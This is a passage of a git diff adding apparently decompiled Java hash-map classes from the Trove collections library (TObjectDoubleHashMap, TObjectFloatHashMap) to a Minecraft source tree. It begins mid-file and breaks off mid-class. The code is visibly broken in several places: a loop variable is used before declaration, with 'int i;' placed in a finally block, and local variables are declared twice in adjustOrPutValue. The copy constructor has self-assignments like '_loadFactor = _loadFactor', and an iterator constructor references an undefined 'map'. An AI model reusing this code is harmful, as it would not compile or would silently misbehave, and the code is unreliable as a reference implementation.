+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(keys[i], values[i])))
+      {
+
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  public boolean retainEntries(TObjectDoubleProcedure<K> procedure)
+  {
+    boolean modified = false;
+    
+    K[] keys = (Object[])_set;
+    double[] values = _values;
+    
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(keys[i], values[i])))
+        {
+
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+
+
+
+
+  public void transformValues(TDoubleFunction function)
+  {
+    Object[] keys = _set;
+    double[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != null) && (keys[i] != REMOVED)) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TObjectDoubleMap)) {
+      return false;
+    }
+    TObjectDoubleMap that = (TObjectDoubleMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    try {
+      TObjectDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        iter.advance();
+        Object key = iter.key();
+        double value = iter.value();
+        if (value == no_entry_value) {
+          if ((that.get(key) != that.getNoEntryValue()) || (!that.containsKey(key))) {
+            return false;
+          }
+        }
+        else if (value != that.get(key)) {
+          return false;
+        }
+      }
+    }
+    catch (ClassCastException ex) {}
+    
+
+    return true;
+  }
+  
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    Object[] keys = _set;
+    double[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        hashcode += (HashFunctions.hash(values[i]) ^ (keys[i] == null ? 0 : keys[i].hashCode()));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+  protected class KeyView extends TObjectDoubleHashMap<K>.MapBackedView<K> {
+    protected KeyView() {
+      super(null);
+    }
+    
+    public Iterator<K> iterator() {
+      return new TObjectHashIterator(TObjectDoubleHashMap.this);
+    }
+    
+    public boolean removeElement(K key) {
+      return no_entry_value != remove(key);
+    }
+    
+    public boolean containsElement(K key) {
+      return contains(key);
+    }
+  }
+  
+  private abstract class MapBackedView<E> extends AbstractSet<E> implements Set<E>, Iterable<E>
+  {
+    private MapBackedView() {}
+    
+    public abstract boolean removeElement(E paramE);
+    
+    public abstract boolean containsElement(E paramE);
+    
+    public boolean contains(Object key)
+    {
+      return containsElement(key);
+    }
+    
+    public boolean remove(Object o)
+    {
+      return removeElement(o);
+    }
+    
+    public void clear() {
+      TObjectDoubleHashMap.this.clear();
+    }
+    
+    public boolean add(E obj) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public int size() {
+      return TObjectDoubleHashMap.this.size();
+    }
+    
+    public Object[] toArray() {
+      Object[] result = new Object[size()];
+      Iterator<E> e = iterator();
+      for (int i = 0; e.hasNext(); i++) {
+        result[i] = e.next();
+      }
+      return result;
+    }
+    
+    public <T> T[] toArray(T[] a) {
+      int size = size();
+      if (a.length < size)
+      {
+        a = (Object[])Array.newInstance(a.getClass().getComponentType(), size);
+      }
+      
+      Iterator<E> it = iterator();
+      Object[] result = a;
+      for (int i = 0; i < size; i++) {
+        result[i] = it.next();
+      }
+      
+      if (a.length > size) {
+        a[size] = null;
+      }
+      
+      return a;
+    }
+    
+    public boolean isEmpty() {
+      return TObjectDoubleHashMap.this.isEmpty();
+    }
+    
+    public boolean addAll(Collection<? extends E> collection) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      Iterator<E> i = iterator();
+      while (i.hasNext()) {
+        if (!collection.contains(i.next())) {
+          i.remove();
+          changed = true;
+        }
+      }
+      return changed;
+    }
+  }
+  
+  class TDoubleValueCollection implements TDoubleCollection
+  {
+    TDoubleValueCollection() {}
+    
+    public TDoubleIterator iterator() {
+      return new TObjectDoubleValueHashIterator();
+    }
+    
+    public double getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+    public int size()
+    {
+      return _size;
+    }
+    
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+    public boolean contains(double entry)
+    {
+      return containsValue(entry);
+    }
+    
+    public double[] toArray()
+    {
+      return values();
+    }
+    
+    public double[] toArray(double[] dest)
+    {
+      return values(dest);
+    }
+    
+    public boolean add(double entry) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean remove(double entry)
+    {
+      double[] values = _values;
+      Object[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != TObjectHash.FREE) && (set[i] != TObjectHash.REMOVED) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double ele = ((Double)element).doubleValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean containsAll(TDoubleCollection collection)
+    {
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean containsAll(double[] array)
+    {
+      for (double element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean addAll(Collection<? extends Double> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean addAll(TDoubleCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean addAll(double[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Double.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+    public boolean retainAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+    public boolean retainAll(double[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      double[] values = _values;
+      
+      Object[] set = _set;
+      for (int i = set.length; i-- > 0;) {
+        if ((set[i] != TObjectHash.FREE) && (set[i] != TObjectHash.REMOVED) && (Arrays.binarySearch(array, values[i]) < 0))
+        {
+
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double c = ((Double)element).doubleValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        double element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(double[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public void clear()
+    {
+      TObjectDoubleHashMap.this.clear();
+    }
+    
+    public boolean forEach(TDoubleProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TDoubleProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(double value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+    
+    class TObjectDoubleValueHashIterator
+      implements TDoubleIterator
+    {
+      protected THash _hash = TObjectDoubleHashMap.this;
+      
+
+
+      protected int _expectedSize;
+      
+
+      protected int _index;
+      
+
+
+      TObjectDoubleValueHashIterator()
+      {
+        _expectedSize = _hash.size();
+        _index = _hash.capacity();
+      }
+      
+      public boolean hasNext()
+      {
+        return nextIndex() >= 0;
+      }
+      
+      public double next()
+      {
+        moveToNextIndex();
+        return _values[_index];
+      }
+      
+      public void remove()
+      {
+        if (_expectedSize != _hash.size()) {
+          throw new ConcurrentModificationException();
+        }
+        
+        try
+        {
+          _hash.tempDisableAutoCompaction();
+          removeAt(_index);
+        }
+        finally {
+          _hash.reenableAutoCompaction(false);
+        }
+        
+        _expectedSize -= 1;
+      }
+      
+
+
+
+
+
+      protected final void moveToNextIndex()
+      {
+        if ((this._index = nextIndex()) < 0) {
+          throw new NoSuchElementException();
+        }
+      }
+      
+
+
+
+
+
+
+
+
+
+      protected final int nextIndex()
+      {
+        if (_expectedSize != _hash.size()) {
+          throw new ConcurrentModificationException();
+        }
+        
+        Object[] set = _set;
+        int i = _index;
+        while ((i-- > 0) && ((set[i] == TObjectHash.FREE) || (set[i] == TObjectHash.REMOVED))) {}
+        
+
+        return i;
+      }
+    }
+  }
+  
+  class TObjectDoubleHashIterator<K>
+    extends TObjectHashIterator<K>
+    implements TObjectDoubleIterator<K>
+  {
+    private final TObjectDoubleHashMap<K> _map;
+    
+    public TObjectDoubleHashIterator()
+    {
+      super();
+      _map = map;
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+
+    public K key()
+    {
+      return _map._set[_index];
+    }
+    
+    public double value()
+    {
+      return _map._values[_index];
+    }
+    
+    public double setValue(double val)
+    {
+      double old = value();
+      _map._values[_index] = val;
+      return old;
+    }
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeDouble(no_entry_value);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _set.length; i-- > 0;) {
+      if ((_set[i] != REMOVED) && (_set[i] != FREE)) {
+        out.writeObject(_set[i]);
+        out.writeDouble(_values[i]);
+      }
+    }
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_value = in.readDouble();
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0)
+    {
+      K key = in.readObject();
+      double val = in.readDouble();
+      put(key, val);
+    }
+  }
+  
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TObjectDoubleProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(K key, double value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key).append("=").append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TObjectFloatHashMap.java b/src/minecraft/gnu/trove/map/hash/TObjectFloatHashMap.java
new file mode 100644
index 0000000..97ed79d
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TObjectFloatHashMap.java
@@ -0,0 +1,1140 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TFloatCollection;
+import gnu.trove.function.TFloatFunction;
+import gnu.trove.impl.Constants;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THash;
+import gnu.trove.impl.hash.TObjectHash;
+import gnu.trove.iterator.TFloatIterator;
+import gnu.trove.iterator.TObjectFloatIterator;
+import gnu.trove.iterator.hash.TObjectHashIterator;
+import gnu.trove.map.TObjectFloatMap;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.procedure.TObjectFloatProcedure;
+import gnu.trove.procedure.TObjectProcedure;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.lang.reflect.Array;
+import java.util.AbstractSet;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TObjectFloatHashMap<K>
+  extends TObjectHash<K>
+  implements TObjectFloatMap<K>, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  private final TObjectFloatProcedure<K> PUT_ALL_PROC = new TObjectFloatProcedure() {
+    public boolean execute(K key, float value) {
+      put(key, value);
+      return true;
+    }
+  };
+  
+
+
+
+
+  protected transient float[] _values;
+  
+
+
+
+
+  protected float no_entry_value;
+  
+
+
+
+
+  public TObjectFloatHashMap() {}
+  
+
+
+
+
+  public TObjectFloatHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_value = Constants.DEFAULT_FLOAT_NO_ENTRY_VALUE;
+  }
+  
+
+
+
+
+
+
+
+
+  public TObjectFloatHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_value = Constants.DEFAULT_FLOAT_NO_ENTRY_VALUE;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public TObjectFloatHashMap(int initialCapacity, float loadFactor, float noEntryValue)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_value = noEntryValue;
+    
+    if (no_entry_value != 0.0F) {
+      Arrays.fill(_values, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+  public TObjectFloatHashMap(TObjectFloatMap<K> map)
+  {
+    this(map.size(), 0.5F, map.getNoEntryValue());
+    if ((map instanceof TObjectFloatHashMap)) {
+      TObjectFloatHashMap hashmap = (TObjectFloatHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_value != 0.0F) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new float[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    
+    K[] oldKeys = (Object[])_set;
+    float[] oldVals = _values;
+    
+    _set = new Object[newCapacity];
+    Arrays.fill(_set, FREE);
+    _values = new float[newCapacity];
+    Arrays.fill(_values, no_entry_value);
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if ((oldKeys[i] != FREE) && (oldKeys[i] != REMOVED)) {
+        K o = oldKeys[i];
+        int index = insertionIndex(o);
+        if (index < 0) {
+          throwObjectContractViolation(_set[(-index - 1)], o);
+        }
+        _set[index] = o;
+        _values[index] = oldVals[i];
+      }
+    }
+  }
+  
+
+
+
+  public float getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+  public boolean containsKey(Object key)
+  {
+    return contains(key);
+  }
+  
+
+  public boolean containsValue(float val)
+  {
+    Object[] keys = _set;
+    float[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public float get(Object key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+
+
+  public float put(K key, float value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public float putIfAbsent(K key, float value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+  private float doPut(K key, float value, int index)
+  {
+    float previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    
+    K oldKey = _set[index];
+    _set[index] = key;
+    _values[index] = value;
+    
+    if (isNewMapping) {
+      postInsertHook(oldKey == FREE);
+    }
+    return previous;
+  }
+  
+
+  public float remove(Object key)
+  {
+    float prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+
+
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+
+
+  public void putAll(Map<? extends K, ? extends Float> map)
+  {
+    Set<? extends Map.Entry<? extends K, ? extends Float>> set = map.entrySet();
+    for (Map.Entry<? extends K, ? extends Float> entry : set) {
+      put(entry.getKey(), ((Float)entry.getValue()).floatValue());
+    }
+  }
+  
+
+  public void putAll(TObjectFloatMap<K> map)
+  {
+    map.forEachEntry(PUT_ALL_PROC);
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, FREE);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+  }
+  
+
+
+
+  public Set<K> keySet()
+  {
+    return new KeyView();
+  }
+  
+
+
+  public Object[] keys()
+  {
+    K[] keys = (Object[])new Object[size()];
+    Object[] k = _set;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if ((k[i] != FREE) && (k[i] != REMOVED))
+      {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public K[] keys(K[] a)
+  {
+    int size = size();
+    if (a.length < size)
+    {
+      a = (Object[])Array.newInstance(a.getClass().getComponentType(), size);
+    }
+    
+
+    Object[] k = _set;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if ((k[i] != FREE) && (k[i] != REMOVED))
+      {
+        a[(j++)] = k[i];
+      }
+    }
+    return a;
+  }
+  
+
+  public TFloatCollection valueCollection()
+  {
+    return new TFloatValueCollection();
+  }
+  
+
+  public float[] values()
+  {
+    float[] vals = new float[size()];
+    float[] v = _values;
+    Object[] keys = _set;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public float[] values(float[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new float[size];
+    }
+    
+    float[] v = _values;
+    Object[] keys = _set;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        array[(j++)] = v[i];
+      }
+    }
+    if (array.length > size) {
+      array[size] = no_entry_value;
+    }
+    return array;
+  }
+  
+
+
+
+  public TObjectFloatIterator<K> iterator()
+  {
+    return new TObjectFloatHashIterator(this);
+  }
+  
+
+
+
+  public boolean increment(K key)
+  {
+    return adjustValue(key, 1.0F);
+  }
+  
+
+  public boolean adjustValue(K key, float amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public float adjustOrPutValue(K key, float adjust_amount, float put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    float newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      float newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+
+    K oldKey = _set[index];
+    _set[index] = key;
+    
+    if (isNewMapping) {
+      postInsertHook(oldKey == FREE);
+    }
+    
+    return newValue;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEachKey(TObjectProcedure<K> procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEachValue(TFloatProcedure procedure)
+  {
+    Object[] keys = _set;
+    float[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(values[i])))
+      {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean forEachEntry(TObjectFloatProcedure<K> procedure)
+  {
+    Object[] keys = _set;
+    float[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(keys[i], values[i])))
+      {
+
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  public boolean retainEntries(TObjectFloatProcedure<K> procedure)
+  {
+    boolean modified = false;
+    
+    K[] keys = (Object[])_set;
+    float[] values = _values;
+    
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(keys[i], values[i])))
+        {
+
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+
+
+
+
+  public void transformValues(TFloatFunction function)
+  {
+    Object[] keys = _set;
+    float[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != null) && (keys[i] != REMOVED)) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TObjectFloatMap)) {
+      return false;
+    }
+    TObjectFloatMap that = (TObjectFloatMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    try {
+      TObjectFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        iter.advance();
+        Object key = iter.key();
+        float value = iter.value();
+        if (value == no_entry_value) {
+          if ((that.get(key) != that.getNoEntryValue()) || (!that.containsKey(key))) {
+            return false;
+          }
+        }
+        else if (value != that.get(key)) {
+          return false;
+        }
+      }
+    }
+    catch (ClassCastException ex) {}
+    
+
+    return true;
+  }
+  
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    Object[] keys = _set;
+    float[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        hashcode += (HashFunctions.hash(values[i]) ^ (keys[i] == null ? 0 : keys[i].hashCode()));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+  protected class KeyView extends TObjectFloatHashMap<K>.MapBackedView<K> {
+    protected KeyView() {
+      super(null);
+    }
+    
+    public Iterator<K> iterator() {
+      return new TObjectHashIterator(TObjectFloatHashMap.this);
+    }
+    
+    public boolean removeElement(K key) {
+      return no_entry_value != remove(key);
+    }
+    
+    public boolean containsElement(K key) {
+      return contains(key);
+    }
+  }
+  
+  private abstract class MapBackedView<E> extends AbstractSet<E> implements Set<E>, Iterable<E>
+  {
+    private MapBackedView() {}
+    
+    public abstract boolean removeElement(E paramE);
+    
+    public abstract boolean containsElement(E paramE);
+    
+    public boolean contains(Object key)
+    {
+      return containsElement(key);
+    }
+    
+    public boolean remove(Object o)
+    {
+      return removeElement(o);
+    }
+    
+    public void clear() {
+      TObjectFloatHashMap.this.clear();
+    }
+    
+    public boolean add(E obj) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public int size() {
+      return TObjectFloatHashMap.this.size();
+    }
+    
+    public Object[] toArray() {
+      Object[] result = new Object[size()];
+      Iterator<E> e = iterator();
+      for (int i = 0; e.hasNext(); i++) {
+        result[i] = e.next();
+      }
+      return result;
+    }
+    
+    public <T> T[] toArray(T[] a) {
+      int size = size();
+      if (a.length < size)
+      {
+        a = (Object[])Array.newInstance(a.getClass().getComponentType(), size);
+      }
+      
+      Iterator<E> it = iterator();
+      Object[] result = a;
+      for (int i = 0; i < size; i++) {
+        result[i] = it.next();
+      }
+      
+      if (a.length > size) {
+        a[size] = null;
+      }
+      
+      return a;
+    }
+    
+    public boolean isEmpty() {
+      return TObjectFloatHashMap.this.isEmpty();
+    }
+    
+    public boolean addAll(Collection<? extends E> collection) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      Iterator<E> i = iterator();
+      while (i.hasNext()) {
+        if (!collection.contains(i.next())) {
+          i.remove();
+          changed = true;
+        }
+      }
+      return changed;
+    }
+  }
+  
+  class TFloatValueCollection implements TFloatCollection
+  {
+    TFloatValueCollection() {}
+    
+    public TFloatIterator iterator() {
+      return new TObjectFloatValueHashIterator();
+    }
+    
+    public float getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+    public int size()
+    {
+      return _size;
+    }
+    
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+    public boolean contains(float entry)
+    {
+      return containsValue(entry);
+    }
+    
+    public float[] toArray()
+    {
+      return values();
+    }
+    
+    public float[] toArray(float[] dest)
+    {
+      return values(dest);
+    }
+    
+    public boolean add(float entry) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean remove(float entry)
+    {
+      float[] values = _values;
+      Object[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != TObjectHash.FREE) && (set[i] != TObjectHash.REMOVED) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float ele = ((Float)element).floatValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean containsAll(TFloatCollection collection)
+    {
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean containsAll(float[] array)
+    {
+      for (float element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean addAll(Collection<? extends Float> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean addAll(TFloatCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean addAll(float[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Float.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+    public boolean retainAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TFloatIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+    public boolean retainAll(float[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      float[] values = _values;
+      
+      Object[] set = _set;
+      for (int i = set.length; i-- > 0;) {
+        if ((set[i] != TObjectHash.FREE) && (set[i] != TObjectHash.REMOVED) && (Arrays.binarySearch(array, values[i]) < 0))
+        {
+
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Float)) {
+          float c = ((Float)element).floatValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(TFloatCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TFloatIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        float element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(float[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public void clear()
+    {
+      TObjectFloatHashMap.this.clear();
+    }
+    
+    public boolean forEach(TFloatProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TFloatProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(float value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+    
+    class TObjectFloatValueHashIterator
+      implements TFloatIterator
+    {
+      protected THash _hash = TObjectFloatHashMap.this;
+      
+
+
+      protected int _expectedSize;
+      
+
+      protected int _index;
+      
+
+
+      TObjectFloatValueHashIterator()
+      {
+        _expectedSize = _hash.size();
+        _index = _hash.capacity();
+      }
+      
+      public boolean hasNext()
+      {
+        return nextIndex() >= 0;
+      }
+      
+      public float next()
+      {
+        moveToNextIndex();
+        return _values[_index];
+      }
+      
+      public void remove()
+      {
+        if (_expectedSize != _hash.size()) {
+          throw new ConcurrentModificationException();
+        }
+        
+        try
+        {
+          _hash.tempDisableAutoCompaction();
+          removeAt(_index);
+        }
+        finally {
+          _hash.reenableAutoCompaction(false);
+        }
+        
+        _expectedSize -= 1;
+      }
+      
+
+
+
+
+
+      protected final void moveToNextIndex()
+      {
+        if ((this._index = nextIndex()) < 0) {
+          throw new NoSuchElementException();
+        }
+      }
+      
+
+
+
+
+
+
+
+
+
+      protected final int nextIndex()
+      {
+        if (_expectedSize != _hash.size()) {
+          throw new ConcurrentModificationException();
+        }
+        
+        Object[] set = _set;
+        int i = _index;
+        while ((i-- > 0) && ((set[i] == TObjectHash.FREE) || (set[i] == TObjectHash.REMOVED))) {}
+        
+
+        return i;
+      }
+    }
+  }
+  
+  class TObjectFloatHashIterator<K>
+    extends TObjectHashIterator<K>
+    implements TObjectFloatIterator<K>
+  {
